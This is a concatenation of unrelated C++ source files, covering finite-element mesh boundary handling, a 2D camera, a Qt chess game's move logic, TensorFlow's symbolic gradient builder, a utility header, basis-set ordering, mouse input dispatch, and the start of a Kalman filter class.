map for the node and boundary specified bool bound_test = bound_node_done(orig_loc_node_pt, bo); if (bound_test == false) { bound_node_done(orig_loc_node_pt, bo) = true; // This will have to be changed for higher-order elements //======================================================= // Switch on local node number (all located on edges) switch (j) { // Node 4 is located between nodes 0 and 1 case 4: if (finite_element_pt(e)->node_pt(0)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(1)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; // Node 5 is located between nodes 0 and 2 case 5: if (finite_element_pt(e)->node_pt(0)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(2)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; // Node 6 is located between nodes 0 and 3 case 6: if (finite_element_pt(e)->node_pt(0)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(3)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; // Node 7 is located between nodes 1 and 2 case 7: if (finite_element_pt(e)->node_pt(1)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(2)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; // Node 8 is located between nodes 2 and 3 case 8: if (finite_element_pt(e)->node_pt(2)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(3)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; // Node 9 is located between nodes 1 and 3 case 9: if (finite_element_pt(e)->node_pt(1)->is_on_boundary(bo) && finite_element_pt(e)->node_pt(3)->is_on_boundary(bo)) { this->convert_to_boundary_node(loc_node_pt); add_boundary_node(bo, loc_node_pt); } break; default: throw OomphLibError("More than ten nodes in Tet Element", OOMPH_CURRENT_FUNCTION, OOMPH_EXCEPTION_LOCATION); } } } // end for bo } // end for j } // end for e } } // namespace oomph #endif Lonely-Creatures/Camera.cpp #include"Camera.h" Camera::Camera() : restrictedRegion(Vec2(-2048, -2048), 3 * Vec2(2048, 2048)) , drawingRegion(0, 0, 1024, 1024) , smoothDrawingRegion(drawingRegion) , gazePoint(none) {} void Camera::update() { { auto t = createTransformer2D(); { double delta = Mouse::Wheel(); //if (drawingRegion.size.y >= 180_deg && delta > 0) delta = 0; //if (drawingRegion.size.y <= 1.8_deg && delta < 0) delta = 0; drawingRegion = drawingRegion.scaledAt(Cursor::PosF(), 1.0 + 0.1*delta); } if (gazePoint) { drawingRegion.setCenter(gazePoint.value()); gazePoint = none; } /* if (drawingRegion.size.y > 180_deg) drawingRegion = drawingRegion.scaledAt(drawingRegion.center(), (180_deg / drawingRegion.size.y)); if (drawingRegion.pos.y < -90_deg) drawingRegion.pos.y = -90_deg; if (drawingRegion.pos.y + drawingRegion.size.y > 90_deg) drawingRegion.pos.y = 90_deg - drawingRegion.size.y; if (smoothDrawingRegion.pos.x < -180_deg) { drawingRegion.pos.x += 360_deg; smoothDrawingRegion.pos.x += 360_deg; } if (smoothDrawingRegion.pos.x > 180_deg) { drawingRegion.pos.x -= 360_deg; smoothDrawingRegion.pos.x -= 360_deg; } */ const double followingSpeed = 0.2; smoothDrawingRegion.pos = smoothDrawingRegion.pos*(1.0 - followingSpeed) + drawingRegion.pos*followingSpeed; smoothDrawingRegion.size = smoothDrawingRegion.size*(1.0 - followingSpeed) + drawingRegion.size*followingSpeed; } const double slidingSpeed = (drawingRegion.size.y / 180_deg)*0.05; const bool useKeyViewControl = true; if ((useKeyViewControl && KeyA.pressed()) || Cursor::Pos().x <= 0) drawingRegion.pos.x -= slidingSpeed; if ((useKeyViewControl && KeyW.pressed()) || Cursor::Pos().y <= 0) drawingRegion.pos.y -= slidingSpeed; if ((useKeyViewControl && KeyD.pressed()) || Cursor::Pos().x >= Window::Size().x - 1) drawingRegion.pos.x += slidingSpeed; if ((useKeyViewControl && KeyS.pressed()) || Cursor::Pos().y >= Window::Size().y - 1) drawingRegion.pos.y += slidingSpeed; } Transformer2D Camera::createTransformer2D(double _magnification) const { auto mat3x2 = Mat3x2::Scale(_magnification).translated(-smoothDrawingRegion.center()).scaled(Window::Size().y / smoothDrawingRegion.size.y).translated(Window::ClientRect().center()); return Transformer2D(mat3x2, true); }#include "chesslogic.h" #include #include #include "piece.h" ChessLogic::ChessLogic() { //this->current_turn = CURRENT_TURN_WHITE; for(int i = 0; i < 8; i++) { for(int j = 0; j < 8; j++) { board[i][j] = 0; } } current_turn = 1; game_state = 0;// 0 active 1 white wins 2 black wins // White pieces board[1][1] = 11; board[2][1] = 11; board[3][1] = 11; board[4][1] = 11; board[5][1] = 11; board[6][1] = 11; board[7][1] = 11; board[0][1] = 11; board[1][0] = 13; board[2][0] = 15; board[3][0] = 17; board[4][0] = 18; board[5][0] = 15; board[6][0] = 13; board[7][0] = 14; board[0][0] = 14; // Black pieces board[3][6] = 21; board[0][6] = 21; board[7][6] = 21; board[1][6] = 21; board[6][6] = 21; board[2][6] = 21; board[5][6] = 21; board[4][6] = 21; board[1][7] = 23; board[2][7] = 25; board[3][7] = 27; board[4][7] = 28; board[5][7] = 25; board[6][7] = 23; board[7][7] = 24; board[0][7] = 24; // board[4][4] = 15; board[6][4] = 25; board[3][5] = 24; //board[6][7] = 23; //Initialize the pieces in the map; black_has_surrendered = false; white_has_surrendered = false; } /* * checks if a piece can move to a location. if it can moves it. * @paramOUT true if the piece is moved, false if the move is not possible */ bool ChessLogic::MovePiece(int old_x, int old_y, int new_x, int new_y) { int piece_type = board[old_x][old_y]; qDebug() << "old_pos.x: " << old_x; qDebug() << "old_pos.y: " << old_y; qDebug() << "new_pos.x: " << new_x; qDebug() << "new_pos.y: " << new_y; qDebug() << "piece: " << piece_type; // Validate current player turn int piece_owner = piece_type; while(piece_owner > 9) piece_owner /= 10; if(current_turn != piece_owner) { qDebug() << "Current turn is: " << current_turn << "Not this player's turn!" << endl; return false; } // Check if you are not killing your own piece int taken_type = board[new_x][new_y]; while(taken_type > 9) taken_type /= 10; if(taken_type == this->current_turn) { return false; } // Validate board boundries if(new_x > 7 || new_x < 0 || new_y > 7 || new_y < 0) { return false; } if(old_x > 7 || old_x < 0 || old_y > 7 || old_y < 0) { return false; } // Validate that the piece exists bool is_move_possible = false; QVector moves = GetPossibleTurns(old_x, old_y); qDebug() << "Possible moves are: " << moves.length(); for(int i = 0; i < moves.length(); i++) { qDebug() << "New possible move!" << moves[i].x << " " << moves[i].y; if(moves[i].x == new_x && moves[i].y == new_y) { qDebug() << " Matching move!"; is_move_possible = true; if(moves[i].must_be_first) { qDebug() << " Must be first"; if(old_y != 1 && old_y != 6) { qDebug() << "Is not first"; is_move_possible = false; } } if(moves[i].must_contain_enemy) { qDebug() << " Must contain enemy"; if(board[new_x][new_y] == 0) { qDebug() << " Doesn't contain enemey"; is_move_possible = true; } } if(!moves[i].can_fly) { if(!IsPathEmpty( old_x, old_y, new_x, new_y)) { return false; } } } } if(!is_move_possible) { qDebug() << "Move is not possible!"; return false; } //Change the current player turn if(this->current_turn == 1) { this->current_turn = 2; } else { this->current_turn = 1; } board[old_x][old_y] = 0; if(board[new_x][new_y] == 27) { game_state = 1; } else if(board[new_x][new_y] == 17) { game_state = 2; } board[new_x][new_y] = piece_type; //Pawn promotion. SHOULD NOT BE HERE, BUT MEH NO TIME MUST WRITE NETWORKING STUFF if((new_y == 0 || new_y == 7) && (piece_type == 11 || piece_type == 21)) { if(piece_owner == 1) { board[new_x][new_y] = 18; } else { board[new_x][new_y] = 28; } } return true; } // return A COPY of the board int** ChessLogic::GetBoard() { int** board_copy; board_copy = 0; board_copy = new int*[8]; for(int i = 0; i < 8; i++) { board_copy[i] = new int[8]; for(int j = 0; j < 8; j++) { //qDebug() << board[i][j]; board_copy[i][j] = board[i][j]; } } return board_copy; } /* //0 still played 1 white wins 2 black wins 3 draw Returns the current game state */ int ChessLogic::CheckResult() { return game_state; } /* * This function is made for internal debug use, prints the current game board in human readable format */ void ChessLogic::PrintGameBoard() { int** arr = this->GetBoard(); for(int i = 0; i < 8; i++) { QString row; for(int j = 0; j < 8; j++) { //qDebug() << arr[i][j]; row += QString::number(arr[j][i]); row += "-"; } qDebug() << row; } } /* * Checks if there is a path without obsticles from the old_x, old_y to the new_x, new_y * @paramOUT true if there is a path, false if there is no path */ bool ChessLogic::IsPathEmpty(int old_x, int old_y, int new_x, int new_y) { qDebug() << "Entering IsPathEmpty old_x: " << old_x << " old y: " << old_y << " new_x: " << new_x << " new_y: " << new_y; while(old_x != new_x || old_y != new_y) { if(old_x != new_x) { //qDebug() << "X is different!"; if(old_x < new_x) { old_x++; } else { old_x--; } //qDebug() << "New x is: " << old_x; } if(old_y != new_y) { //qDebug() << "Y is different"; if(old_y < new_y) { old_y++; } else { old_y--; } //qDebug() << "New y is: " << old_y; } if(old_x == new_x || old_y == new_y) { break; } if(board[old_x][old_y] != 0) { qDebug() << "There is NO path!"; return false; } //qDebug() << "We are at: " << old_x << " " << old_y << "and value is: " << board[old_x][old_y]; } qDebug() << "There is a path!"; return true; } /* * Fetches all possible moves relative to the current coordinates for a specific piece * @paramIN x the x coordinate * @paramIN y the y coordinate * @paramOUT QVector a vector containing all possible moves. */ QVector ChessLogic::GetPossibleTurns(int x, int y) { WhitePawn wp; Piece *a = ℘ pieces[11] = a; BlackPawn bp; Piece *b = &bp; pieces[21] = b; King k; Piece* kk = &k; pieces[17] = kk; pieces[27] = kk; Knight kn; Piece* kkn = &kn; pieces[13] = kkn; pieces[23] = kkn; Rook rk; Piece* rrk = &rk; pieces[14] = rrk; pieces[24] = rrk; Bishop bb; Piece* bk = &bb; pieces[15] = bk; pieces[25] = bk; Queen q = q; Piece* qq = &q; pieces[18] = qq; pieces[28] = qq; int piece_type = board[x][y]; qDebug() << "get_possible_turns piece type: " << piece_type; if(!pieces.contains(piece_type)) { QVector a; return a; } return pieces[piece_type]->getPossibleMoves(x, y); } /* * The current player surrenders the game */ void ChessLogic::Surrender() { qDebug() << "Surrendering!"; if(this->current_turn == 1) { game_state = 2; } else { game_state = 2; } } int** ChessLogic::GetPossibleTurnsVisual(int x, int y) { qDebug() << "GET POSSIBLE TURNS VISUAL"; QVector moves = GetPossibleTurns(x, y); int** gameBoard1 = GetBoard(); qDebug() << "GET POSSIBLE TURNS VISUAL AFTER BOARD length: "<< moves.length(); for(int i = 0; i < moves.length(); i++) { qDebug() << "GET POSSIBLE TURNS " << moves[i].x << " " << moves[i].y << " "; if(moves[i].x > 7 || moves[i].y > 7 || moves[i].x < 0 || moves[i].y < 0) { qDebug() << "Skipping "; continue; } if(gameBoard1[moves[i].x][moves[i].y] == 0) { gameBoard1[moves[i].x][moves[i].y] = 100; } } for(int i = 0; i < 8; i++) { QString row; for(int j = 0; j < 8; j++) { row += QString::number(gameBoard1[j][i]); row += "-"; } qDebug() << row; } return gameBoard1; } void ChessLogic::Draw() { if(this->current_turn == 1) { white_has_surrendered = true; } else { black_has_surrendered = true; } if(white_has_surrendered && black_has_surrendered) { game_state = 3; } } /* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/common_runtime/gradients.h" #include #include #include "tensorflow/core/common_runtime/device.h" #include "tensorflow/core/common_runtime/executor.h" #include "tensorflow/core/common_runtime/graph_constructor.h" #include "tensorflow/core/common_runtime/graph_optimizer.h" #include "tensorflow/core/framework/function.h" #include "tensorflow/core/framework/node_def.pb.h" #include "tensorflow/core/framework/node_def_util.h" #include "tensorflow/core/framework/op.h" #include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/graph/algorithm.h" #include "tensorflow/core/graph/optimizer_cse.h" #include "tensorflow/core/lib/gtl/map_util.h" #include "tensorflow/core/platform/macros.h" namespace tensorflow { // TODO(andydavis) Remove some of the code duplicated between this module // and that in 'common_runtime/function.cc'. // A few string constant used throughout this module. static const char* const kGradientOp = "SymbolicGradient"; static const char* const kNodeLabel = "Func"; string NodeOut::name() const { if (index == 0) { return node->name(); } else { return strings::StrCat(node->name(), ":", index); } } DataType NodeOut::dtype() const { return node->output_type(index); } struct NodeOutHash { uint64 operator()(const NodeOut& x) const { return Hash64(reinterpret_cast(&x.node), sizeof(Node*), x.index); } }; struct NodeOutEq { bool operator()(const NodeOut& x, const NodeOut& y) const { return (x.node == y.node) && (x.index == y.index); } }; static Node* AddZerosLike(Graph* g, NodeOut input) { DCHECK_LT(0, input.dtype()); DCHECK_LT(input.dtype(), DT_FLOAT_REF); if (input.dtype() == DT_RESOURCE) { NodeDef read_def; read_def.set_name(g->NewName("Read")); read_def.set_op("ReadVariableOp"); read_def.add_input(input.name()); AddNodeAttr("dtype", DT_FLOAT, &read_def); Status s; Node* read = g->AddNode(read_def, &s); TF_CHECK_OK(s); g->AddEdge(input.node, input.index, read, 0); NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op("ZerosLike"); ndef.add_input(read_def.name()); AddNodeAttr("T", DT_FLOAT, &ndef); Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); g->AddEdge(read, 0, ret, 0); return ret; } else { NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op("ZerosLike"); ndef.add_input(input.name()); AddNodeAttr("T", input.dtype(), &ndef); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); g->AddEdge(input.node, input.index, ret, 0); return ret; } } static Node* AddSymGrad(Graph* g, Node* n, gtl::ArraySlice grads) { const int num_x = n->num_inputs(); const int num_y = n->num_outputs(); CHECK_EQ(num_y, grads.size()); NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op(kGradientOp); // The gradient node should have num_x + num_y inputs. std::vector n_inputs(num_x); for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) continue; n_inputs[e->dst_input()] = {e->src(), e->src_output()}; } DataTypeVector in_types; for (const NodeOut& nout : n_inputs) { ndef.add_input(nout.name()); in_types.push_back(nout.dtype()); } for (const NodeOut& nout : grads) { ndef.add_input(nout.name()); in_types.push_back(nout.dtype()); } CHECK_EQ(ndef.input_size(), num_x + num_y); AddNodeAttr("Tin", in_types, &ndef); // The gradient node's outputs have the same types as the node 'n's // inputs, except for resources. DataTypeVector out_types = n->input_types(); for (int i = 0, end = out_types.size(); i < end; ++i) { if (out_types[i] == DT_RESOURCE) { // TODO(apassos): figure out how to get the right dtype out_types[i] = DT_FLOAT; } } AddNodeAttr("Tout", out_types, &ndef); NameAttrList func; func.set_name(n->type_string()); for (const auto& attr : n->attrs()) { (*func.mutable_attr())[attr.first] = attr.second; } AddNodeAttr("f", func, &ndef); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); return ret; } class SymbolicGradientBuilder { public: SymbolicGradientBuilder(gtl::ArraySlice y_node_outputs, gtl::ArraySlice x_node_outputs, gtl::ArraySlice y_grad_node_outputs, std::vector* x_grad_node_outputs, Graph* graph); Status Compute(); private: gtl::ArraySlice y_node_outputs_; gtl::ArraySlice x_node_outputs_; gtl::ArraySlice y_grad_node_outputs_; std::vector* x_grad_node_outputs_; Graph* graph_; // Not owned. // A vector of output endpoints which represents backpropagated // gradients typedef std::vector BackproppedGradients; // backprops_ is a map from a node output to its accumulated // gradients. When a node output has accumulated all its // gradients, we add a node which sums them up. std::unordered_map backprops_; // pending[i] is count-down counter for i-th node's expected // backprops. When pending[i] becomes zero, we collected all // backprop gradients for all outputs of the ith-node. std::vector pending_; // 'ready' keeps track of nodes that have been completely // backpropped. Initially, for every output y of the function f, we // add dy as an input of the gradient function. std::deque ready_; // The set of node ids at which to stop backprop. std::unordered_set stop_nodes_; // Initialize pending_ and ready_. void InitBackprop(); // In the original function body, there is a forward edge from 'src' // to 'dst', when the backprop algorithm constructs the node // 'dst_grad' which computes the gradient, we need to propagate it // to 'src'. void BackpropAlongEdge(const NodeOut& dst_grad, const NodeOut& src); void BackpropZerosAlongEdge(const NodeOut& src); // Returns a node representing the sum of any backpropped gradients for 'src'. // This will be an AddN node if there is more than one accumulated gradient. // Returns zeros if there are no gradients, or the dtype is DT_BOOL. NodeOut SumGradients(const NodeOut& src); TF_DISALLOW_COPY_AND_ASSIGN(SymbolicGradientBuilder); }; SymbolicGradientBuilder::SymbolicGradientBuilder( gtl::ArraySlice y_node_outputs, gtl::ArraySlice x_node_outputs, gtl::ArraySlice y_grad_node_outputs, std::vector* x_grad_node_outputs, Graph* graph) : y_node_outputs_(y_node_outputs), x_node_outputs_(x_node_outputs), y_grad_node_outputs_(y_grad_node_outputs), x_grad_node_outputs_(x_grad_node_outputs), graph_(graph) { CHECK_EQ(y_node_outputs_.size(), y_grad_node_outputs.size()); x_grad_node_outputs_->clear(); x_grad_node_outputs_->resize(x_node_outputs_.size()); stop_nodes_.reserve(x_node_outputs_.size()); for (int i = 0, end = x_node_outputs_.size(); i < end; ++i) { stop_nodes_.insert(x_node_outputs_[i].node->id()); } } void SymbolicGradientBuilder::BackpropAlongEdge(const NodeOut& dst_grad, const NodeOut& src) { CHECK_NOTNULL(src.node); auto iter = backprops_.find(src); if (iter != backprops_.end()) { auto* grads = &iter->second; grads->push_back(dst_grad); if (--pending_[src.node->id()] == 0) { ready_.push_back(src.node); } } } void SymbolicGradientBuilder::BackpropZerosAlongEdge(const NodeOut& src) { CHECK_NOTNULL(src.node); auto iter = backprops_.find(src); if (iter != backprops_.end()) { if (--pending_[src.node->id()] == 0) { ready_.push_back(src.node); } } } void SymbolicGradientBuilder::InitBackprop() { pending_.resize(graph_->num_node_ids(), 0); { backprops_.clear(); std::unordered_set visited; std::deque queue; for (const NodeOut& nout : y_node_outputs_) { queue.push_back(nout.node); visited.insert(nout.node); } // Going forward to figure out which endpoints need backprop-ed. // A node's endpoints need to be backprop-ed only if one of the // return nodes can reach backwards to the node via data edges. while (!queue.empty()) { Node* n = queue.front(); queue.pop_front(); for (int i = 0; i < n->num_outputs(); ++i) { backprops_[{n, i}].clear(); } for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) continue; pending_[e->src()->id()]++; if (visited.find(e->src()) == visited.end()) { queue.push_back(e->src()); visited.insert(e->src()); } } } // Create entries in backprops_ for all x_node_outputs_, because they will // not be added in above loop if they are not reverse reachable from // y_node_outputs_. for (const NodeOut& nout : x_node_outputs_) { backprops_[{nout.node, nout.index}].clear(); } } { const int num_y = y_grad_node_outputs_.size(); for (int i = 0; i < num_y; ++i) { Node* y = y_node_outputs_[i].node; for (const Edge* e : y->in_edges()) { if (e->IsControlEdge()) continue; BackpropAlongEdge(y_grad_node_outputs_[i], {e->src(), e->src_output()}); } } } CHECK(!ready_.empty()); } NodeOut SymbolicGradientBuilder::SumGradients(const NodeOut& src) { const DataType dtype = src.dtype(); auto iter = backprops_.find(src); CHECK(iter != backprops_.end()); const auto& grads = iter->second; if (grads.empty() || dtype == DT_BOOL) { // Nothing propagated back. The best we can come up is zeros. Node* zero_like = AddZerosLike(graph_, src); return {zero_like, 0}; } if (grads.size() == 1) { // Just one backprop edge. return grads[0]; } // Otherwise, adds backprop-ed gradients. NodeDef ndef; ndef.set_name(graph_->NewName(kNodeLabel)); ndef.set_op("AddN"); // N-way Add for (const NodeOut& nout : grads) { ndef.add_input(nout.name()); } AddNodeAttr("N", static_cast(grads.size()), &ndef); AddNodeAttr("T", dtype, &ndef); Status s; Node* add = graph_->AddNode(ndef, &s); TF_CHECK_OK(s); for (size_t i = 0; i < grads.size(); ++i) { const NodeOut& nout = grads[i]; graph_->AddEdge(nout.node, nout.index, add, i); } return {add, 0}; } static bool IsPrimitiveOpWithNoGrad(const string& func) { gradient::Creator creator; Status s = gradient::GetOpGradientCreator(func, &creator); return s.ok() && (creator == nullptr); } Status SymbolicGradientBuilder::Compute() { // Initialize backprops. InitBackprop(); // Backward propagation. gtl::InlinedVector dy; while (!ready_.empty()) { // n has collected all gradients. Node* n = ready_.front(); ready_.pop_front(); // "n" has num_x inputs and num_y outputs. const int num_x = n->num_inputs(); const int num_y = n->num_outputs(); auto iter = stop_nodes_.find(n->id()); if (iter != stop_nodes_.end()) { // Stop backprop. // TODO(andydavis) Support stop nodes with more than one output. CHECK_EQ(1, num_y); continue; } // dy[i] is the sum of i-th output's backpropped gradients. dy.clear(); dy.resize(num_y, {nullptr, 0}); for (int i = 0; i < num_y; ++i) { dy[i] = SumGradients({n, i}); } if (IsPrimitiveOpWithNoGrad(n->type_string())) { // No grad defined for this op: Backprop zeros along the in edges. for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) continue; BackpropZerosAlongEdge({e->src(), e->src_output()}); } continue; } // Adds a gradient node with num_x + num_y inputs and num_x // outputs. // TODO(andydavis) Support primitive gradient ops. Node* grad = AddSymGrad(graph_, n, dy); for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) continue; graph_->AddEdge(e->src(), e->src_output(), grad, e->dst_input()); } for (int i = 0; i < num_y; ++i) { graph_->AddEdge(dy[i].node, dy[i].index, grad, num_x + i); } // Backprops along the in edges. for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) continue; BackpropAlongEdge({grad, e->dst_input()}, {e->src(), e->src_output()}); } } for (int i = 0, end = x_node_outputs_.size(); i < end; ++i) { (*x_grad_node_outputs_)[i] = SumGradients(x_node_outputs_[i]); } return Status::OK(); } Status AddSymbolicGradients(gtl::ArraySlice y_node_outputs, gtl::ArraySlice x_node_outputs, gtl::ArraySlice y_grad_node_outputs, std::vector* x_grad_node_outputs, Graph* graph) { SymbolicGradientBuilder builder(y_node_outputs, x_node_outputs, y_grad_node_outputs, x_grad_node_outputs, graph); return builder.Compute(); } } // end namespace tensorflow 0 /** * Copyright (c) 2020 Janky <> * All right reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, * OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef ROP_UTIL_H #define ROP_UTIL_H #include #include "types.hpp" #include "error.hpp" CEROP_NAMESPACE_BEGIN { /** * @version 0.21 * @since 0.21 */ class Util final { public: static RopString GetRopString(const RopObjRef& parent, const int ret, const char*const*const ropStr, const bool freeBuf = true); static RopData GetRopData(const RopObjRef& parent, const int ret, const void*const ropBuf, const size_t bufLen, const bool freeBuf = true); inline static void CheckError(const unsigned ret) { if(ret != ROPE::SUCCESS) throw RopError(ret); } template inline static T GetPrimVal(const unsigned ret, const T*const val) { Util::CheckError(ret); return *val; } inline static size_t StrLen(const char* str) noexcept { return str!=nullptr? std::strlen(str) : 0; } inline static uint32_t Datetime2TS(const Instant& dtime) { return static_cast(std::chrono::duration_cast(dtime.time_since_epoch()).count()); } inline static uint32_t TimeDelta2Sec(const Duration& tdtime) { return static_cast(std::chrono::duration_cast(tdtime).count()); } inline static uint32_t TimeNow() { return static_cast(std::chrono::duration_cast(Instant::clock::now().time_since_epoch()).count()); } }; #define RET_ROP_OBJECT2(Type, hnd, FX, dps) \ Util::CheckError(FX); \ Type obj = Type(new Type##T(me, hnd)); \ obj->FeedBack(obj, dps); \ return obj #define RET_ROP_OBJECT(Type, hnd, FX) RET_ROP_OBJECT2(Type, hnd, FX, nullptr) #define DEPEND_LIST(...) std::shared_ptr(new RopObjects {__VA_ARGS__}) #define NEW_THROWED() RopThrowed(new RopThrowedT(std::current_exception())) #define API_PROLOG if(thl) ExceptionCheck(); } CEROP_NAMESPACE_END #endif // ROP_UTIL_H 0 /*! \file * * \brief Functions related to basis function ordering (source) * \author () */ #include #include #include "pulsar/system/AOOrdering.hpp" #include "pulsar/system/NFunction.hpp" #include "pulsar/system/BasisSet.hpp" #include "pulsar/exception/PulsarException.hpp" namespace pulsar{ namespace lut { extern const AOOrderingMaps ao_ordering_; } const AOOrderingMaps & all_ao_orderings(void) noexcept { return lut::ao_ordering_; } const std::vector & spherical_ordering(int am) { const auto & order = all_ao_orderings().spherical_order; if(!order.count(am)) throw PulsarException("Angular momentum out of range", "am", am); return order.at(am); } const std::vector & cartesian_ordering(int am) { const auto & order = all_ao_orderings().cartesian_order; if(!order.count(am)) throw PulsarException("Angular momentum out of range", "am", am); return order.at(am); } size_t cartesian_index(int am, IJK ijk) { const auto & ijkvec = cartesian_ordering(am); const auto it = std::find(ijkvec.begin(), ijkvec.end(), ijk); if(it == ijkvec.end()) throw PulsarException("Value of IJK not found for this am", "am", am, "i", ijk[0], "j", ijk[1], "k", ijk[2]); else return std::distance(ijkvec.begin(), it); } size_t full_cartesian_index(int am, IJK ijk) { // we could just use the ordering for negative am, but // that doesn't necessarily go to the highest AM size_t idx = cartesian_index(am, ijk); if(idx <= 0) // "negative" am would already include the lower AM return idx; else return idx + n_cartesian_gaussian(am-1); } size_t full_spherical_index(int am, int m) { // we could just use the ordering for negative am, but // that doesn't necessarily go to the highest AM size_t idx = spherical_index(am, m); if(idx <= 0) // "negative" am would already include the lower AM return idx; else return idx + n_spherical_gaussian(am-1); } size_t spherical_index(int am, int m) { const auto & svec = spherical_ordering(am); const auto it = std::find(svec.begin(), svec.end(), m); if(it == svec.end()) throw PulsarException("Value of m not found for this am", "am", am, "m", m); else return std::distance(svec.begin(), it); } BSReorderMap make_basis_reorder_map(const AOOrderingMaps & src, const AOOrderingMaps & dest) { /////////////////////////////////////// // Consider refactoring into // a helper function if more are added /////////////////////////////////////// BSReorderMap ret; // spherical AOs for(const auto & it : dest.spherical_order) { // it.first is the am // it.second is a vector of m_l (in some specific order) if(src.spherical_order.count(it.first)) // if src has this AM { const auto & srcord = src.spherical_order.at(it.first); ret[ShellType::SphericalGaussian][it.first] = make_ordering(srcord, it.second); } } // cartesian AOs for(const auto & it : dest.cartesian_order) { // it.first is the am // it.second is a vector of IJK (in some specific order) if(src.cartesian_order.count(it.first)) // if src has this AM { const auto & srcord = src.cartesian_order.at(it.first); ret[ShellType::CartesianGaussian][it.first] = make_ordering(srcord, it.second); } } return ret; } std::vector make_ao_basis_ordering(const BasisSet & bs, const BSReorderMap & bm) { // creat the full reorder vector std::vector fullreorder; fullreorder.reserve(bs.n_functions()); size_t offset = 0; for(const auto & shell : bs) { // get the reordering for this shell ShellType type = shell.get_type(); int am = shell.am(); if(bm.count(type) == 0) throw PulsarException("Missing shell type in BSReorderMap", "type", ShellTypeString(type)); if(bm.at(type).count(am) == 0) throw PulsarException("Missing AM in BSReorderMap for this shell type", "type", ShellTypeString(type), "am", am); const auto & v = bm.at(type).at(am); // add it to the vector, keeping track of the offset for(auto c : v) fullreorder.push_back(c + offset); offset += v.size(); } // full reorder should now contain the entire mapping of one // basis set ordering to another. So it should be of the same // number of functions... if(fullreorder.size() != bs.n_functions()) throw PulsarException("Basis set reordering inconsistency. size is incorrect", "nfunc", bs.n_functions(), "fullreorder", fullreorder.size()); return fullreorder; } } // close namespace pulsar 1-10 #include "stdafx.h" #include "KiteDriverInputManager.h" namespace kite_driver { void KiteDriverInputManager::RegistryMouseMessageReceiver(std::shared_ptr receiver) { _mouseMessageReceiver.push_back(receiver); } void KiteDriverInputManager::InvokeButtonDown(MouseButtonType button_type, const kite_math::Vector2f & screen_pos) { std::for_each(_mouseMessageReceiver.begin(), _mouseMessageReceiver.end(), [button_type, &screen_pos](const std::shared_ptr& receiver) { receiver->OnButtonDown(button_type, screen_pos); }); } void KiteDriverInputManager::InvokeButtonUp(MouseButtonType button_type, const kite_math::Vector2f & screen_pos) { std::for_each(_mouseMessageReceiver.begin(), _mouseMessageReceiver.end(), [button_type, &screen_pos](const std::shared_ptr& receiver) { receiver->OnButtonUp(button_type, screen_pos); }); } void KiteDriverInputManager::InvokeMouseMove(const kite_math::Vector2f & screen_pos) { std::for_each(_mouseMessageReceiver.begin(), _mouseMessageReceiver.end(), [&screen_pos](const std::shared_ptr& receiver) { receiver->OnMouseMove(screen_pos); }); } void KiteDriverInputManager::OnMouseWheelRoll(float rollVal) { std::for_each(_mouseMessageReceiver.begin(), _mouseMessageReceiver.end(), [&rollVal](const std::shared_ptr& receiver) { receiver->OnMouseWheelRoll(rollVal); }); } }#define BIORBD_API_EXPORTS #include "../include/s2mKalmanRecons.h" s2mKalmanRecons::s2mKalmanRecons(s2mMusculoSkeletalModel &m, unsigned int nMeasure, s2mKalmanParam params) : m_params(params), 